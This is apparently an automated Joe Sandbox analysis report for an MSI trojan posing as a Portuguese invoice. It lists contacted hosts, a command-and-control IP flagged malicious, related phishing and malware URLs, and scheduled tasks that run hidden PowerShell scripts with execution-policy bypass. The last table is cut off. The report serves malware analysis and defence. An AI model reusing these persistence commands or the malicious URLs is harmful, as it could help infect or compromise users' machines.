https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000009.00000003.2582039999.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986377459.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365428270.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431675830.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1846552649.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2264567148.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256163346.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070729831.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2450057532.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1828574602.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2366576736.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1890362176.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2231263427.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155212155.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2235752970.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1820630621.0000454400C28000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/tools/feedback/	chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://dl.google.com/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/neifaoindggfcj	chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://dl.google.com/release2/chrome_component/cxmnq7ci5es7kes4fruun62via_2024.12.17.1202/ggkkehgbnf	chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/viewbl.440417381_40722058702_00241	chrome.exe, 00000009.00000003.2356588511.00004544018FC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000009.00000003.1814676673.0000454400490000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.1788756794.0000000004486000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1810271687.0000000006D92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1878844290.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000009.00000003.1814676673.0000454400490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148628828.0000454400320000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000009.00000002.4149326858.00004544004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150671322.0000454400720000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000009.00000002.4150928544.000045440077C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149187457.000045440049C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/viewiew	chrome.exe, 00000009.00000002.4157824364.0000454400EE0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/m2	chrome.exe, 00000009.00000003.1873992136.00004544011BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1874085666.00004544011C4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4722	chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.google.com/dl/release2/chrome_component/eoxvpqsyhqbmcsgpe27edattly_3057/jflookgnkcckhobag	chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000009.00000002.4149326858.00004544004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150671322.0000454400720000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1759728113.00000000043C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://csp.withgoogle.com/csp/viewer/p	chrome.exe, 00000009.00000002.4158898065.0000454400F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4161583105.00004544017EC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://upload.wikimedia.org	powershell.exe, 00000003.00000002.1773602894.0000000009129000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chromewebstore.google.com/	chrome.exe, 00000009.00000002.4147471470.000045440017C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-preprod.corp.google.com/	chrome.exe, 00000009.00000003.1814676673.0000454400490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148628828.0000454400320000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	chrome.exe, 00000009.00000003.1975339052.0000454400EEC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://clients4.google.com/chrome-sync	chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/drivesharing/clientmodel?id=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&foreignServic	chrome.exe, 00000009.00000003.2431556890.0000454402C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432826445.00004544018C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431515030.0000454402D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432880138.00004544018D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432729827.00004544019D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431475153.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148214305.00004544002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148214305.00004544002FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/_/DriveOsidBootstrap/cspreport/fine-allowlist	chrome.exe, 00000009.00000002.4148214305.00004544002F3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365343002.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/viewr	chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/js/bg/	chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://dl.google.com/release2/chrome_component/adblcnrkt5zdysyip2hllhmi7tpq_20241209.706525355.14/ob	chrome.exe, 00000009.00000002.4147517323.0000454400190000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/dl/release2/chrome_component/ac6mhlwypzipnufijdvfyhdgvt4q_67/khaoiebndkojlmpp	chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://unisolated.invalid/a	chrome.exe, 00000009.00000002.4152180003.00004544009B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/dl/release2/chrome_component/eoxvpqsyhqbmcsgpe27edattly_3057/jflookgnkcckhoba	chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/viewp	chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3623	chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/_/DriveOsidBootstrap/cspreport	chrome.exe, 00000009.00000003.2365428270.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365343002.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3625	chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3624	chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/J	chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.15.58.240	upload.wikimedia.org	Netherlands	14907	WIKIMEDIAUS	false
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
192.124.216.109	yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org	Russian Federation	15455	EMBANK-ASRU	false
192.124.216.14	unknown	Russian Federation	15455	EMBANK-ASRU	true
142.250.181.110	play.google.com	United States	15169	GOOGLEUS	false
91.134.82.79	i.ibb.co	France	16276	OVHFR	false
142.250.181.46	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579251
Start date and time:	2024-12-21 08:39:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	Fatura227Pendente576.pdf674.msi
Detection:	MAL
Classification:	mal100.troj.expl.evad.winMSI@90/218@20/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 495 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .msi Override analysis time to 240s for sample based on specific behavior

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.17.78, 64.233.162.84, 172.217.17.46, 199.232.214.172, 192.229.221.95, 23.218.208.109, 216.58.208.234, 142.250.181.42, 142.250.181.74, 172.217.17.42, 172.217.19.202, 172.217.19.234, 142.250.181.106, 172.217.21.42, 142.250.181.138, 172.217.19.170, 172.217.17.74, 172.217.17.67, 142.250.181.10, 172.217.19.10, 172.217.17.35, 34.104.35.123, 172.217.19.206, 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ssl.gstatic.com, slscr.update.microsoft.com, youtube.googleapis.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, optimizationguide-pa.googleapis.com, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, fonts.gstatic.com, ctldl.windowsupdate.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, content.googleapis.com, clients.l.google.com
Execution Graph export aborted for target powershell.exe, PID 1260 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2000 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2596 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2656 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2724 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3396 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4336 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5024 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5436 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5516 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6028 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6944 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7348 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7812 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:39:58	API Interceptor	9517x Sleep call for process: powershell.exe modified
02:40:12	API Interceptor	2x Sleep call for process: svchost.exe modified
07:40:02	Task Scheduler	Run new task: ATD path: Powershell.exe s>-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
07:40:18	Task Scheduler	Run new task: VD path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe s>-ExecutionPolicy Bypass -NoProfile -Command "& {
07:40:29	Task Scheduler	Run new task: exe01aa path: C:\LocalNow\Extracted\01aa.exe
07:40:45	Task Scheduler	Run new task: Rosa path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe s>-ExecutionPolicy Bypass -NoProfile -Command "& {
07:40:56	Task Scheduler	Run new task: Renome01aa path: PowerShell.exe s>-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1"
07:41:10	Task Scheduler	Run new task: Pasta path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe s>-ExecutionPolicy Bypass -NoProfile -Command "& {
07:41:28	Task Scheduler	Run new task: DownloadDownSistem path: PowerShell.exe s>-NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) {
07:41:28	Task Scheduler	Run new task: ExecuteDownSistem path: PowerShell.exe s>-NoProfile -ExecutionPolicy Bypass -File "C:\temp\DownSistem.ps1"
07:41:45	Task Scheduler	Run new task: DWD path: PowerShell.exe s>-NoProfile -ExecutionPolicy Bypass -File C:\temp\sistema.ps1

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.15.58.240	https://buyiceply.live/?utm_campaign=INccHxHRWrew3TQsLBbfNnbGFYUZobMqxXT9Zrw5FhI1&t=main9other	Get hash	malicious	GRQ Scam	Browse	upload.wikimedia.org/wikipedia/commons/6/65/Lock-green.svg
185.15.58.240	https://www.google.com/url?rct=j&sa=t&url=https://fischer-baupro.de/south-state-bank-locations.html&ct=ga&cd=CAEYASoTMjAxNTMxNTQ2Njc0Mjk3OTUyNDIaYTBmZWVhZTA3M2MyMDJhMDpjb206ZW46VVM&usg=AOvVaw3lhiJJ-nclIGfQxEWGuu5s	Get hash	malicious	GRQ Scam	Browse	upload.wikimedia.org/wikipedia/commons/6/65/Lock-green.svg
239.255.255.250	https://logistics.sheincorp.cn/#/login	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/	Get hash	malicious	Unknown	Browse
	2BI8rJKpBa.exe	Get hash	malicious	Stealc, Vidar	Browse
	YearEnd_Benefit_Bonus_Payout__Details__ChasChas.html	Get hash	malicious	Unknown	Browse
	https://logistics.sheincorp.cn/#/login	Get hash	malicious	Unknown	Browse
	http://aselog24x7.cl/	Get hash	malicious	HTMLPhisher	Browse
	https://p.usertrackjvg.top/us	Get hash	malicious	HTMLPhisher	Browse
	https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse
	https://contractorssteelform1flows.powerappsportals.com/	Get hash	malicious	HTMLPhisher	Browse
192.124.216.109	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse
192.124.216.14	Y7KU3yvGQ6.dll	Get hash	malicious	Unknown	Browse	192.124.216.14/conta/index.php
	Y7KU3yvGQ6.dll	Get hash	malicious	Unknown	Browse	192.124.216.14/conta/index.php
	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse	192.124.216.14/ana/index.php
91.134.82.79	https://rnicrosoft-secured-office.squarespace.com/sharepoint?e=test@test.com.au	Get hash	malicious	HTMLPhisher	Browse
	https://citiscapegroupae-my.sharepoint.com/:li:/g/personal/asekhar_citiscapegroup_com/E9U24ACMrctKoLKfReMWVjMBfxodtw3c4oUIHo4oyReVhg?e=SgIv5D&xsdata=MDV8MDJ8ZGVyZWsuZGVscG9ydEBvbnRoZWRvdC5jby56YXw5ZWEzNzFkNDdmNTM0YzE2Yjg5YTA4ZGQwZTAwZjY1OXwxMGRjN2M5NjU5NzY0NjAxODgyYzlhYzdjMjg3MGVjY3wxfDB8NjM4NjgyMTE5NTE1MDk3NDExfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=S3JqYzUxeUd4SmtWMEVWUzBMU3JUREpWTEJiN3VmeFVrY09ucElOZDRzaz0%3d	Get hash	malicious	HTMLPhisher	Browse
	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
upload.wikimedia.org	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	185.15.58.240
	https://enrollmentportal.borlsfx.com/rwrzvvwfa/d8b09a/?2a6p5=test@test.com	Get hash	malicious	HTMLPhisher	Browse	185.15.58.240
	Codale Electric Supply Health Insurance Benefits Open Enrollment Plan.html.shtml	Get hash	malicious	Unknown	Browse	185.15.58.240
	https://link.mail.beehiiv.com/ls/click?upn=u001.R74aO5UQ-2FrUOGP4XJV77OKQT1NAU9BwQ6OP1zvOna2j3qRTjcdTYAqprTXNbU1vrKPOdnlpDlbO1ohrNKAkzUmdLI4l19yBq8cKvYb8dsNKK6IsO0404WADpCgMHJK-2BM7ePj1I7t27EBUyeaiqRuwqngyTjrFDMwzKEm6VF8ExY0iFbvMWKjDk4Y7upRdq5sSY4nXTsFeij7Q5E2ydkS65V1Y39RLDjY80Udth17NgVFYK9r3RCAH09UYk2CIjxFd5I9_j6TOopR0rmB-2FAe-2FAtMIxxpgCP1uVymDZ2Ai3kvTmy94R9Cva2dqhTbcrX0jwqqIbWEZoY75Qxv0d-2Fi-2BJ58G8TpFK32hJ3Y6KvVmw024fgWikUvw7JSpe1p1AxJouHIwzH-2B4WSy6DMsQxGcoT2TOfGxh3ObD4vtK9CAXwy7Cjhf2-2FwG571nv3bia-2F44CMLr9lsCQcs3SwvYIDQ24Nq6VfvIfUFJ9nNyI7I5MS5J8-2Bg5rLnAjlWoLmJBScJaNhqffuqYHWE3BYOKju8i7o1wD6Pw-2Fs92sFC2Mh7Oi9oheY1ZKD714qAu5jG5ZYhyhfMgCcuyNvp15ZI4Srd3AOfDL686JQJNBXoqAuLGHc3y6muY0dxN9oNJrp8vksovnjs-2Be8S30MoUUfcAPp8UPZjIomKd3EBkrVIa3k8AgkBS-2BZFp3F1x23PdTLWCU-2BZmxkQxWt	Get hash	malicious	Unknown	Browse	185.15.58.240
	https://link.mail.beehiiv.com/ls/click?upn=u001.8ULyQR0JYqJFmtAcEKOwZJrtx6Pg-2FFIdL75Xr8cQplPy1BwMP6K04UCj8Y6BqsqIO5QCbkskm97LegF2duW8h-2B7y0wF2E-2BDZNcbzCPIVszT1GD6EOVy0YRZV55MI3rlD0kPZAiaJ0IK1-2FMU2lgPk2Kii32mX86fkDuIDK9GPx4-2FfuyI6JAqdMrtQqIbvs2W-2F-2BIG8MDRxPU9Yn0AWIxVL0SnsGrwak4PiVtMHHZHgth0QvNVoRM6ZTwXBytJNkde3jx-2F-2Fb-2FvT1Ap71VQ1QzJzKA-3D-3DWb3t_K8Qrv2qBC50DA374Af0scmFKIlSM-2Bv5ewezTCdQ-2FHdeUjmHtY3NrJD1TBTC8B4zB5HyIT-2F4sQexLT4eDcDNpHTw1Uv6zyerCF2l6Qv2QnUXIFi1vgFIVZbyXm-2Fb4OHwN5YbpoyTJNqIBeZHgSrlo7M6ZizbyF9nigOzGQDcMUgYHM7Aiblgmi6ZZqeS-2F4eQTcSMrquYcXkgDnpAgjrAXvqys7q9tGDujdSY7rWu7e2v-2B8ZqylkvKbnTnsoe7xpWX2CCdK7-2Ffs69cITr47FLMcG63ztEATsgzr65zgaz1vTV637p-2F932w2jeo6Q6M5CBc8nQ-2BvnbtLXdWgwvebkWZFeKaDHxfFr3YWnPUF1sWMZ4N238r82opSIcsBiifBW-2Fr-2FX6QykqaNBEmm5OGxvGQOo2rDQ3a45-2FO4v08XQIdNTDu5CkpvASiHt5MqJZ9OHD4	Get hash	malicious	Unknown	Browse	185.15.58.240
	http://www.pej935.pro/Ume-ZD~Hl_1c0e5b67/C/	Get hash	malicious	Unknown	Browse	185.15.58.240
	Carisls Open Benefits Enrollment.eml	Get hash	malicious	unknown	Browse	185.15.58.240
	https://webradiojaguar.net/FNB-POP.pdf	Get hash	malicious	Unknown	Browse	185.15.58.240
	https://hujalconcretos.com/npp	Get hash	malicious	Unknown	Browse	185.15.58.240
	Platinum Hall County, Georgia Proposal (16.6 KB).docx	Get hash	malicious	KnowBe4	Browse	185.15.58.240
blobcomments-pa.clients6.google.com	https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30	Get hash	malicious	Unknown	Browse	142.250.181.74
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	172.217.17.74
	https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY	Get hash	malicious	HTMLPhisher	Browse	216.58.208.234
	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse	172.217.19.234
	https://3a88da1a86b3b964.ngrok.app/Factura.php	Get hash	malicious	Unknown	Browse	142.250.65.234
	https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b	Get hash	malicious	Unknown	Browse	142.250.186.138
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	142.250.185.74
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	142.250.186.170
	https://drive.google.com/file/d/151vedGg58lF5fqW5z3ZjSsPM04UlJTlj/view?usp=sharing	Get hash	malicious	Unknown	Browse	216.58.206.74
	https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing	Get hash	malicious	HTMLPhisher	Browse	142.250.185.234
drive.google.com	https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eip&ts=67645d30	Get hash	malicious	Unknown	Browse	172.217.17.46
	https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30	Get hash	malicious	Unknown	Browse	172.217.17.46
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	216.58.208.238
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.17.46
	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	216.58.208.238
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	216.58.208.238
	Delivery Confirmation Forms - Contact Form TS4047117 pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	172.217.17.46
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.17.46
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.17.46
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	172.217.19.174

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WIKIMEDIAUS	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	185.15.58.240
	https://enrollmentportal.borlsfx.com/rwrzvvwfa/d8b09a/?2a6p5=test@test.com	Get hash	malicious	HTMLPhisher	Browse	185.15.58.240
	